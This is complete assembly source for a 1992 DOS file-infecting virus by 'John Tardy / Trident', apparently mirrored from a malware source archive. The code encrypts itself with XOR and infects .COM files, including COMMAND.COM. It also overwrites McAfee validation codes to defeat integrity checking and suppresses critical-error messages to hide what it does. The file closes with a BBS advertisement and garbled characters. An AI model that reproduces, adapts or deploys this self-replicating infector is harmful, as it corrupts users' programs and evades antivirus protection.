mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
337 lines
14 KiB
NASM
337 lines
14 KiB
NASM
Org 0h ; Generate .BIN file
|
||
|
||
Start: Jmp MainVir ; Jump to decryptor code at EOF
|
||
|
||
Db '*' ; Virus signature (very short)
|
||
|
||
;
|
||
; Decryptor procedure
|
||
;
|
||
|
||
MainVir: Call On1 ; Push offset on stack
|
||
|
||
On1: Pop BP ; Calculate virus offset
|
||
Sub BP,Offset MainVir+3 ;
|
||
|
||
Push Ax ; Save possible error code
|
||
|
||
Lea Si,Crypt[BP] ; Decrypt the virus with a
|
||
Mov Di,Si ; very simple exclusive or
|
||
Mov Cx,CryptLen ; function.
|
||
Decrypt: Lodsb ;
|
||
Xor Al,0 ;
|
||
Stosb ;
|
||
Loop Decrypt ;
|
||
|
||
DecrLen Equ $-MainVir ; Length of the decryptor
|
||
|
||
;
|
||
; Main initialization procedure
|
||
;
|
||
|
||
Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at
|
||
Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com)
|
||
Mov Cs:Start+100h,Ax ;
|
||
Mov Cs:Start[2]+100h,Bx ;
|
||
|
||
Xor Ax,Ax ; Get original interrupt 24
|
||
Push Ax ; (critical error handler)
|
||
Pop Ds ;
|
||
Mov Bx,Ds:[4*24h] ;
|
||
Mov Es,Ds:[4*24h]+4 ;
|
||
|
||
Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place
|
||
Mov Word Ptr Cs:OldInt24+2[Bp],Es ;
|
||
|
||
Lea Bx,NewInt24[Bp] ; Install own critical error
|
||
Push Cs ; handler to avoid messages
|
||
Pop Es ; when a disk is write
|
||
Mov Word Ptr Ds:[4*24h],Bx ; protected and such things
|
||
Mov Word Ptr Ds:[4*24h]+2,Es ;
|
||
Push Cs ;
|
||
Pop Ds ;
|
||
|
||
Mov Ah,30h ; Check if DOS version is
|
||
Int 21h ; 3.0 or above for correct
|
||
Cmp Al,3 ; interrupt use
|
||
Jae NoCLean ;
|
||
Jmp Ready
|
||
|
||
NoClean: Mov Ah,1ah ; Store DTA at safe place
|
||
Mov Dx,0fd00h ;
|
||
Int 21h ;
|
||
|
||
Mov Ah,4eh ; FindFirsFile Function
|
||
|
||
Search: Lea Dx,FileSpec[BP] ; Search for filespec given
|
||
Xor Cx,Cx ; in FileSpec adress
|
||
Int 21h ;
|
||
Jnc Found ; Found - Found
|
||
Jmp Ready ; Not Found - Ready
|
||
|
||
Found: Mov Ax,4300h ; Get file attributes and
|
||
Mov Dx,0fd1eh ; store them on the stack
|
||
Int 21h ;
|
||
Push Cx ;
|
||
|
||
Mov Ax,4301h ; clear file attributes
|
||
Xor Cx,Cx ;
|
||
Int 21h ;
|
||
|
||
Mov Ax,3d02h ; open file with read/write
|
||
Int 21h ; access
|
||
|
||
Mov Bx,5700h ; save file date/time stamp
|
||
Xchg Ax,Bx ; on the stack
|
||
Int 21h ;
|
||
Push Cx ;
|
||
Push Dx ;
|
||
|
||
Mov Ah,3fh ; read the first 4 bytes of
|
||
Lea Dx,OrgPrg[BP] ; the program onto OrgPrg
|
||
Mov Cx,4 ;
|
||
Int 21h ;
|
||
|
||
Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file
|
||
Cmp Ax,'ZM' ;
|
||
Je ExeFile ;
|
||
|
||
Cmp Ax,'MZ' ; Check if renamed weird exe-
|
||
Je ExeFile ; file
|
||
|
||
Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected
|
||
Cmp Ah,'*' ;
|
||
Jne Infect ;
|
||
|
||
ExeFile: Call Close ; If one of the checks is yes,
|
||
Mov Ah,4fh ; close file and search next
|
||
Jmp Search ; file
|
||
|
||
FSeek: Xor Cx,Cx ; subroutine to jump to end
|
||
Xor Dx,Dx ; or begin of file
|
||
Int 21h ;
|
||
Ret ;
|
||
|
||
Infect: Mov Ax,0fd1e[0] ; check if the file is
|
||
Cmp Ax,'OC' ; COMMAN?.COM (usually result
|
||
Jne NoCommand ; if COMMAND.COM)
|
||
Mov Ax,0fd1e[2] ;
|
||
Cmp Ax,'MM' ;
|
||
Jne NoCommand ;
|
||
Mov Ax,0fd1e[4] ;
|
||
Cmp Ax,'NA' ;
|
||
Jne NoCommand ;
|
||
|
||
Mov Ax,4202h ; Jump to EOF
|
||
Call Fseek ;
|
||
|
||
Cmp Ax,0f000h ; Check if file too large
|
||
Jae ExeFile
|
||
|
||
Cmp Ax,VirS ; Check if file to short
|
||
jbe ExeFile
|
||
|
||
Sub Ax,VirS
|
||
Xchg Cx,Dx
|
||
Mov Dx,4200h
|
||
Xchg Dx,Ax
|
||
Mov EOFminVir[BP],Dx
|
||
Int 21h
|
||
Mov Ah,3fh
|
||
Mov Dx,Offset Buffer
|
||
Mov Cx,VirS
|
||
Int 21h
|
||
Cld
|
||
Mov Si,Offset Buffer
|
||
Mov Cx,VirLen
|
||
On5:
|
||
Push Cx
|
||
On6: Lodsb
|
||
Cmp Al,0
|
||
Jne On4
|
||
Loop On6
|
||
On4: Cmp Cx,0
|
||
Je Found0
|
||
|
||
Pop Cx
|
||
Cmp Si,SeekLen
|
||
Jb On5
|
||
Jmp NoCommand
|
||
|
||
Found0: Pop Cx
|
||
Sub Si,Offset Buffer
|
||
Sub Si,Cx
|
||
Xor Cx,Cx
|
||
Mov Dx,EOFminVir[BP]
|
||
Add Dx,Si
|
||
|
||
Mov Ax,4200h
|
||
Int 21h
|
||
Jmp CalcVirus
|
||
|
||
EOFminVir Dw 0
|
||
|
||
NoCommand: Mov Ax,4202h ; jump to EOF
|
||
Call FSeek ;
|
||
|
||
Cmp Ax,0f000h ; Check if file too large
|
||
Jb NoExe1 ; if yes, goto exefile
|
||
Jmp ExeFile ;
|
||
|
||
NoExe1: Cmp Ax,10 ; Check if file too short
|
||
Ja NoExe2 ; if yes, goto exefile
|
||
Jmp ExeFile ;
|
||
|
||
|
||
NoExe2: Mov Cx,Dx ; calculate pointer to offset
|
||
Mov Dx,Ax ; EOF-52 (for McAfee validation
|
||
Sub Dx,52 ; codes)
|
||
|
||
Mov Si,Cx ; move file pointer to the
|
||
Mov Di,Dx ; calculated address
|
||
Mov Ax,4200h ;
|
||
Int 21h ;
|
||
|
||
Mov Ah,3fh ; read the last 52 bytes
|
||
Mov Dx,0fb00h ; of the file
|
||
Mov Cx,52 ;
|
||
Int 21h ;
|
||
|
||
Cmp Ds:0Fb00h,0fdf0h ; check if protected with the
|
||
Jne Check2 ; AG option
|
||
Cmp Ds:0fb02h,0aac5h ;
|
||
Jne Check2 ;
|
||
|
||
Mov Ax,4200h ; yes - let virus overwrite
|
||
Mov Cx,Si ; the code with itself, so
|
||
Mov Dx,Di ; the file has no validation
|
||
Int 21h ; code
|
||
Jmp CalcVirus ;
|
||
|
||
Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the
|
||
Jne Eof ; AV option
|
||
Cmp Ds:0Fb02h+42,0aac5h ;
|
||
Jne Eof ;
|
||
|
||
Mov Ax,4200h ; yes - let virus overwrite
|
||
Mov Cx,Si ; the code with itself, so
|
||
Mov Dx,Di ; the file has no validation
|
||
Add Dx,42 ; code
|
||
Int 21h ;
|
||
Jmp CalcVirus ;
|
||
|
||
Eof: Mov Ax,4202h ; not AG or AV - jump to
|
||
Call Fseek ; EOF
|
||
|
||
CalcVirus: Sub Ax,3 ; calculate the jump for the
|
||
Mov Cs:CallPtr[BP]+1,Ax ; virus start
|
||
|
||
GetCrypt: Mov Ah,2ch ; get 100s seconds for the
|
||
Int 21h ; encryption value.
|
||
Cmp Dl,0 ; if not zero, goto NoZero
|
||
Jne NoZero ;
|
||
Jmp GetCrypt ;
|
||
|
||
NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor
|
||
|
||
Lea Si,MainVir[BP] ; Move changed decryptor to
|
||
Mov Di,0fb00h ; a safe place in memory
|
||
Mov Cx,DecrLen ;
|
||
Rep Movsb ;
|
||
|
||
Lea Si,Crypt[BP] ; Encrypt the virus and merge
|
||
Mov Cx,CryptLen ; it to the changed decryptor
|
||
Encrypt: Lodsb ; code
|
||
Xor Al,Dl ;
|
||
Stosb ;
|
||
Loop Encrypt ;
|
||
|
||
Mov Ah,40h ; append virus at EOF or over
|
||
Lea Dx,0fb00h ; the validation code of
|
||
Mov Cx,VirLen ; McAfee
|
||
Int 21h ;
|
||
|
||
Mov Ax,4200h ; Jump to BOF
|
||
Call FSeek ;
|
||
|
||
Mov Ah,40h ; Write Jump at BOF
|
||
Lea Dx,CallPtr[BP] ;
|
||
Mov Cx,4 ;
|
||
Int 21h ;
|
||
|
||
Call Close ; Jump to Close routine
|
||
|
||
Ready: Mov Ah,1ah ; Restore DTA to normal
|
||
Mov Dx,80h ; offset
|
||
Int 21h ;
|
||
|
||
Mov Ax,Cs:OldInt24[Bp] ; remove critical error
|
||
Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the
|
||
Xor Bx,Bx ; original handler at the
|
||
Push Bx ; interrupt table
|
||
Pop Ds ;
|
||
Mov Ds:[4*24h],Dx ;
|
||
Mov Ds:[4*24h]+2,Ax ;
|
||
Push Cs ;
|
||
Pop Ds ;
|
||
|
||
Pop Ax ; restore possible error code
|
||
|
||
Mov Bx,100h ; nice way to jump to the
|
||
Push Cs ; begin of the original host
|
||
Push Bx ; code
|
||
Retf ;
|
||
|
||
Db ' (C) 1992 John Tardy / Trident '
|
||
|
||
Close: Pop Si ; why???
|
||
|
||
Pop Dx ; restore file date/time
|
||
Pop Cx ; stamp
|
||
Mov Ax,5701h ;
|
||
Int 21h ;
|
||
|
||
Mov Ah,3eh ; close file
|
||
Int 21h ;
|
||
|
||
Mov Ax,4301h ; restore file attributes
|
||
Pop Cx ;
|
||
Mov Dx,0fd1eh ;
|
||
Int 21h ;
|
||
|
||
Push Si ; why???
|
||
Ret
|
||
|
||
; Db 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
|
||
Db ' Satan spawn, the Caco-Daemon - Mor(T)alities Death '
|
||
|
||
;
|
||
; New critical error handler
|
||
;
|
||
|
||
NewInt24: Mov Al,3 ; supress any critical error
|
||
Iret ; messages
|
||
|
||
OldInt24 Dd 0 ; storage place for old int 24
|
||
|
||
CallPtr Db 0e9h,0,0 ; jump to place at BOF
|
||
|
||
FileSpec Db '*.COM',0 ; filespec and infection marker
|
||
|
||
OrgPrg: Int 20h ; original program
|
||
Db 'JT' ;
|
||
|
||
CryptLen Equ $-Crypt ; encrypted part length
|
||
|
||
VirLen Equ $-MainVir ; total virus length
|
||
|
||
Buffer Equ 0f040h ; buffer offset
|
||
VirS Equ VirLen*2
|
||
|
||
SeekLen Equ Buffer+Virs
|
||
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|